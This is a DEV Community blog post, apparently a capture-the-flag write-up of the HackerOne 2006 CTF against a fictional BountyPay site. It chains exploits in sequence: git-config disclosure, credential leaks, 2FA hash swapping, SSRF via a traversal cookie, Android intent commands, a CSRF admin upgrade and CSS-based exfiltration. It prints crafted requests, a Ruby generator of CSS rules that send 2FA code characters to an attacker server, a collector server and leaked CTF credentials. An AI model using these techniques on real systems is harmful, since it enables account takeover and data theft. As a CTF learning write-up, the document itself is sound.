DEV Community

Cover image for h1 2006 ctf

h1 2006 ctf

pirateducky profile image pirateducky Updated on ・17 min read

Alt Text

As before the CTF started with a tweet from the H1 account - CEO @martenmickos needs to approve the May bug bounty payments but he lost his credentials for BountyPay - I might be able to help.


I was able to retrieve the CEO's account & pay the hackers by using a chain of exploits:

information disclosure(github repo) → account takeover(brian.oliver) + 2FA bypass -> ssrf to download private apk → token leaked in apk → account takeover(sandra.allison) + privilege escalation(csrf) → account takeover(marten.mickos) + 2FA bypass

password: h&H5wy2Lggj*kKn4OD&Ype


There's a H1 page for the program so let's check out the scope

scope: *

That's a wide scope - the best thing to do is to start with some subdomain enumeration, let's see what else is under that bountypay subdomain:


After going through the subdomains and doing some directory bruteforcing - there was a 403 error that looked promising:

If you hit you can download the HEAD file - now we just need to get something with more information for us, let's try This discloses some information:

    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[remote "origin"]
    url =
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
Enter fullscreen mode Exit fullscreen mode

This config file discloses a github repository with some interesting information


$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST

file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );
Enter fullscreen mode Exit fullscreen mode

A few things to note here:

  • Application uses PHP
  • Writes to a log file that we can access from in it we can see the following:
    • The values are encoded using base64
    • "username":"brian.oliver",
    • "password":"V7h0inzX",
    • "challenge_answer":"bD83Jk27dQ"

Using the username/password works and we can now log into []( however...there's 2 Factor Auth we'll need to bypass it.
Alt Text

<!-- relevant html from above-->
<!-- user's name -->
<input type="hidden" name="username" value="brian.oliver">
<!-- user's password -->
<input type="hidden" name="password" value="V7h0inzX">
<!-- MD5 hash of the 10 char passcode sent to the user for verification -->
<input type="hidden" name="challenge" value="103fa83db8f4be6c61dee66f95e2bca0">
Enter fullscreen mode Exit fullscreen mode

We can assume the application will send a verification code but how can we grab it?

I had not noticed but the challenge value is 32 chars - after some time I realized MD5 hashes have 32 chars, if we replace the challenge value for the MD5 hash of the challenge_answer we found in the logs(bD83Jk27dQ) we can use this old token to gain access to the account. With this we can log into

The user brian.oliver has access to this application, however there wasn't much else so I started looking at api calls - I noticed the /statements?month=04&year=2020 request which was in the log file from before, and this is what it returned:

   "data":"{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"
Enter fullscreen mode Exit fullscreen mode

Looks like it's using to get the information and then it returns a data object with the information - let's remember this and keep going.

Eventually I looked at the Cookie values, and with some nudges noticed there was a path traversal in the cookie, which was just base64 json, the account_id probably gets passed to the api call to get the right account - this is when the /redirect?url= route from came in handy since before we couldn't make any interesting requests because there was a whitelist - here it's also important to note the subdomain which you can't access because there's an IP restriction(I tried the X-Forward-Host but it didn't work), taking that into consideration - let's try to make an internal request to that subdomain by using the following base64 encoded payload:

// decoded cookie

// request
GET /statements?month=04&year=2020 HTTP/1.1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSy8uLi8uLi8uLi9yZWRpcmVjdD91cmw9aHR0cHM6Ly9zb2Z0d2FyZS5ib3VudHlwYXkuaDFjdGYuY29tLyMiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY5OTVhZDRlMDkzMGJhYWMxYTIifQ

// response
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 01 Jun 2020 22:58:07 GMT
Content-Type: application/json
Connection: close
Content-Length: 1621

{"url":"https:\/\/\/api\/accounts\/F8gHiqSdpK\/..\/..\/..\/redirect?url=https:\/\/\/#\/statements?month=04&year=2020","data":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage<\/title>\n    <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage<\/h1>\n            <form method=\"post\" action=\"\/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login<\/div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n                        <div><input name=\"username\" class=\"form-control\"><\/div>\n                        <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n                    <\/div>\n                <\/div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            <\/form>\n        <\/div>\n    <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"}
Enter fullscreen mode Exit fullscreen mode

The data json contains the login page for - this means we have a way to make requests inside the network, bypassing the ip restriction aka ssrf :yay:
After some time of thinking what could be there I figure it would have something to download and it made sense, a lot of companies host software on a different subdomain under /downloads, /software or in this case /uploads making the correct request yields

# decoded cookie

# request
GET /statements?month=04&year=2020 HTTP/1.1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSy8uLi8uLi8uLi9yZWRpcmVjdD91cmw9aHR0cHM6Ly9zb2Z0d2FyZS5ib3VudHlwYXkuaDFjdGYuY29tL3VwbG9hZHMjIiwiaGFzaCI6ImRlMjM1YmZmZDIzZGY2OTk1YWQ0ZTA5MzBiYWFjMWEyIn0=

# data response
"data":"<html>\n<head><title>Index of \/uploads\/<\/title><\/head>\n<body bgcolor=\"white\">\n<h1>Index of \/uploads\/<\/h1><hr><pre><a href=\"..\/\">..\/<\/a>\n<a href=\"\/uploads\/BountyPay.apk\">BountyPay.apk<\/a>                                        20-Apr-2020 11:26              4043701\n<\/pre><hr><\/body>\n<\/html>\n"
Enter fullscreen mode Exit fullscreen mode

We can see what's hosted there 👀 now you can download the apk by going to:


This part was hard for me, but thanks again to Al-Madjus I was able to complete it using adb and generating intents with the correct payloads, all the information was inside the apk.

I used android studio and adb (if you have the emulator running you just need to run a shell by using adb $ adb shell)to complete the challenges:

  • ActivityOne
    • am start -a android.intent.action.VIEW -d "one://part?start=PartTwoActivity" -n
  • ActivityTwo
    • am start -a android.intent.action.VIEW -d "two://part?two=light&switch=on" -n
  • ActivityThree
    • am start -a android.intent.action.VIEW -d "three://part?three=UGFydFRocmVVlQWN0aXZpdHk=&switch=b24=&header=X-Token" -n
  • Header value: X-Token

All the params were in the apk - once you read the disassembled code you could see the flow of the program and use those to create the intents you needed - again huge thanks to AlMadjus for the help here.

After completing this challenge we have access to a leaked token: X-Token: 8e9998ee3137ca9ade8f372739f062c1 which I grabbed from the cat log from android studi.
We also know that we need to add that header with the token somewhere - if I remember correctly one of the subdomains asked specifically for a token when making requests directly to it:

Using the new X-Token: 8e9998ee3137ca9ade8f372739f062c1 header, let's test the api endpoint and see if I can now make requests, I found the /api/staff endpoint which yields:

    "name":"Sam Jenkins",
    "name":"Brian Oliver",
Enter fullscreen mode Exit fullscreen mode

Here I took a small detour and went on twitter - the HackerOne account released some clues, including a twitter account for bountypay which only followed three accounts which included the newest employee and she even shared a pic of her cool new work badge with her STF number on it- let's use that try to use that somewhere.
In the above GET request to /api/staff we get the current employees and their staff_id which is the same format that Sandra's badge has! but she's not in the system yet? Maybe she hasn't gotten set up yet? Let's help her out. After sending an inital POST request without any parms I received this error "Missing Parameter" so what paramet can we pass? her name? I don't think so maybe her staff_id is workin - let's try it:

// POST to create an account using th STF number in the image
POST /api/staff HTTP/1.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Length: 23
Content-Type: application/x-www-form-urlencoded


// response with username and password! 
HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 31 May 2020 22:11:43 GMT
Content-Type: application/json
Connection: close
Content-Length: 110

{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
Enter fullscreen mode Exit fullscreen mode

Now we have a staff account! which should work for the

With our new staff account we can sign into the application, there's a few things to note here:

  1. We get some clientside js
    • /js/website.js
  2. The account is not admin and we probably need admin rights to see more
    • /template=admin gives 403
  3. We control the profile_avatar input name since we can change it clientside however sensitive chars are filtered, we also control our user name but this wasn't of much use here
    • injection is possible though

When looking at the website.js file I noticed

  • The upgradeToAdmin function, I tried to hit the route myself but only admins can do it (it's a GET request to /admin/upgrade?username=sandra.allison)
  • The sendReport function that submits a url which is generated by the app and it's base64 encoded the url is generated for each page - the modal mentions an admin will take a look at the page, this is great if we can trick the admin into making that upgrade request for us, we could become admins too.
// javascript from the application
$('.upgradeToAdmin').click(function () {
  let t = $('input[name="username"]').val();
  $.get('/admin/upgrade?username=' + t, function () {
    alert('User Upgraded to Admin')
$('.tab').click(function () {
  return $('.tab').removeClass('active'),
  $('div.content-' + $(this).attr('data-target')).removeClass('hidden'),
$('.sendReport').click(function () {
  $.get('/admin/report?url=' + url, function () {
    alert('Report sent to admin team')
document.location.hash.length > 0 
&& ('#tab1' === document.location.hash 
&& $('.tab1').trigger('click'), '#tab2' === document.location.hash && $('.tab2').trigger('click'), '#tab3' === document.location.hash && $('.tab3').trigger('click'), '#tab4' === document.location.hash && $('.tab4').trigger('click'));}
Enter fullscreen mode Exit fullscreen mode


I spent a lot of time trying to get xss since there was an html injection in the avatar_name input value when choosing an avatar under the Profile tab. I realized I controlled a field that gets echoed back as a class and if I could just trigger the .upgradeToAdmin function, I might be able to store that in the profile_avatar variable that I control, the last part was getting the admin to make the request.

How do we trigger the function though?
Well since we control a class and there's a class that get's used in the jquery above to check the tabs and then fire their click events could we take advantage of that event and use it for our purposes? Yes we can!
yes we can gif
By setting a avatar with the avatar_name input value to tab1 upgradeToAdmin and then accessing the hash we set in our avatar_name directly this makes the click event propagate, and it even makes the request for us since it fires off the click event for upgradeToAdmin however - we are missing something:

// upgradeToAdmin function 
let t = $('input[name="username"]').val();
Enter fullscreen mode Exit fullscreen mode

The function needs to grab the username from an input field, I knew I was on the right track because I could see the request to /admin/upgrade?username=undefined. The undefined happened because the function that triggered the request grabs the username from an input field named username which is no where in the application - or is it?

the event propagation surprised me and at first I didn't understand it but after debugging the jquery it hit me that since the location hash was being used to fire off a click event the event propagation would make any class that was in the same element fire off any click events that were associated with that class and luckily for us the request we need to make is handled by a click event bound to a class - with our injection we can inject the class that starts the click event and then the class name that fires our get request


This is the last part before we can send our admin a malicious link that will upgrade us, but how can we get that username parameter?
The only input with the username value is the login page - I knew we had to include that page since there's no other way, and we know we are using templates because the route we are on is /?template=home since we need to pull multiple templates I thought about array params - which even hackerone uses and made the following request[]=home&template[]=login
Alt Text
Building up from this we can change our payload slightly to fill in the username and make sure we direct the admin to a page where our username will be seen since the only part of the application that is not in the /template=home is the ticket where our username is available to the admin and we need to make sure the class we set is seen by the admin to trigger the attack so let's just send the admin there with our full payload:[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab2

This will take the admin to the ticket template but will also pull in the login template and use the input field with our username - now when the admin receives this payload it will trigger the attack, to do this we can send a report to /admin/report?url=base64 the base64 will be our payload since that includes our malicious link - now this will trigger the admin to make the upgrade request and we will become application admininstrator:

Now all we need is to set the avatar_name value to tab2 upgrateToAdmin in the profile tab, submit the change, and then send the report to the admin:

This request will trigger the upgradeToAdmin from the admin's side - giving us admin rights!


Now that we are admin there's a new tab! With the CEO's account and password (which he forgot - should have been admin:admin)

Alt Text

So what's left to do? Login of course! this account will work in - when you login you'll need to bypass the 2FA again this time we don't have a used security code so just make one up 12345aBcDF= b3e2bc9cbb5e0b624816fa0ee19a7993 exchange the challenge value for the md5 hash and it should allow you to log in - now let's pay those hackers!
Alt Text
If you try to use the pay button you'll be redirected to...another 2FA - this one is not as easy as a md5 hash. Let's take a look at the 2FA page and html that we got to work with

<!--important part -->
<form method="post">
<input type="hidden" name="app_style" value="">
Enter fullscreen mode Exit fullscreen mode

This snippet caught my eye - they're sending the styling for what I believe is the 2FA application to grab the code - I replaced the css link and put a burp collaborator link to see if I could get a response from wherever that request ended up at and...
Alt Text
Now we're talking - but this was done through a css link, also how in the f*** do I exfiltrate this with just css?

One thing I noticed from the css that was originally there was the rules and comment from the css style made me think that I needed to steal a token from an application that looked like your typical 2FA app with multiple input fields: [][][][][][][]

css data exfiltration

Who would I tell I'd be exfiltrating information using css selectors - 2020 is a strange year.

Realizing that was a posibility thanks to d0nut and the blog he wrote here. I could technically add my own css stylesheet by submitting one in a server I controlled - with this and some crafty payloads I was able to grab all the inputs

I was able to find the chars I needed by:

  • hosting a css file with my payloads on a server I controlled (I used netlify since they give u a server in which you can host js, css files, and comes with a SSL cert)
  • payloads were generated based on the criteria I needed
    • charset: [a-z][A-Z][0-9]
    • 7 characters (that's how many fit in the input field)
    • Generated a list that would only execute the css rule each time a match was found, when the css selector would find a match it would execute the rule which in this case made a request to the collaborator along with the match and the placement.
    • burp helped since I attached the current character and place (based on the nth-of-type(n) selector)
    • Example payload
    • I had about 400 css rules
# creates a wordlist with css rules to find the auth code
chars = (0..9).to_a + ('A'..'Z').to_a + ('a'..'z').to_a

puts "server/burp collaborator"

server = gets.chomp
for i in 0..6
    chars.each do |char|
        puts "input[value=#{char}]:nth-of-type(#{i + 1}){background-image:url('#{server}/?char=#{char}&index=#{i + 1}');}"
Enter fullscreen mode Exit fullscreen mode

This took...a few tries but finally I managed to grab the right code and....
Alt Text


After completing the CTF the next part is writing the report which is what this is, and for the final part - the proof of concept. In a good report there is always a PoC or proof of concept, this can be a bash script, curl command or in my case a ruby script. Which shows the triager how to execute the attack.

[link to script]

I chose ruby because I like it - I've been learning how to use it for the past year and it was fun implementing something like this in ruby. I used a few libraries like httparty and nakogiri to make requests and parse html, the flow of the script follows this reports, starting with the information disclosure in the logs and ending with getting the flag - the only harcoded value here is the X-Token since I didn't know how to automate the android part, but the token is always the same. The script was a lot of fun to create but the most interesting part of this was automating the stealing of the last 2fa code by using css selectors.

retrieving 2FA code

In the report above we figured out that we could steal the 2FA code which allows us to pay the hackers, but automating this part seemed too hard for me so I thought I wouldn't do it, but after some ideas I figured out how to do it. Let's go over the attack again:

  • Send a request with a css stylesheet you can control
  • Steal inputs
    • not all 7 inputs can be found all the time
  • submit the request with the 2fa code in under 2 minutes

We can solve the first 2 at the same time, I created a css style sheet and place it here this stylesheet has payloads like the following:

Enter fullscreen mode Exit fullscreen mode

By using css selectors we can go over each character we need for our code and also go over all 7 input fields, since only the valid rules will execute our server will only get the inputs that can be found - this means that when we don't have 7 inputs we will need to redo the attack until we have them, but we also need a way to catch the requests that are generated by the inputs we find - for exploitation burp collaborator worked but how can we automate this?

To automate the retrieval of the 2fa code we need a server we control that can log the requests sent each time we perform the attack, fortunately I already had something written here - this is a simple nodejs server that I was using to test some cors issues - but it's all set up and ready to go.

// get the items in the query from the css requests that are valid
// this step will give us all the inputs that got caught and their place 
var code = []
exports.getCode = (req, res) {
Enter fullscreen mode Exit fullscreen mode

Now we need a way to put the code together and send the code when it's ready

exports.replyCode = (req, res) => {

    var one, two, three, four, five, six, seven

    if (code.length == 7) { {
            switch (obj.index){
                case "1":
                    one =
                case "2":
                    two =
                case "3":
                    three =
                case "4":
                    four =
                case "5":
                    five =
                case "6":
                    six =
                case "7":
                    seven =
        var full_code =`${one}${two}${three}${four}${five}${six}${seven}`
    } else {
        return code = []

Enter fullscreen mode Exit fullscreen mode

This horrible thing puts each char. into the right place and makes the full code available in /replyCode when it's ready.

With all this and some ruby magic we can now automate the full exploit:


I just want to say thank you to H1 and everyone involved in making these challenges, my first one was back in 2018 for the DefCon event, and I failed miserably. I told myself I would give it my best and I think I did just that. The CTF was fun and had innovative challenges that tested my skills and made me learn new ones (looking at android and css).

gitlab repo with script

Discussion (0)

Forem Open with the Forem app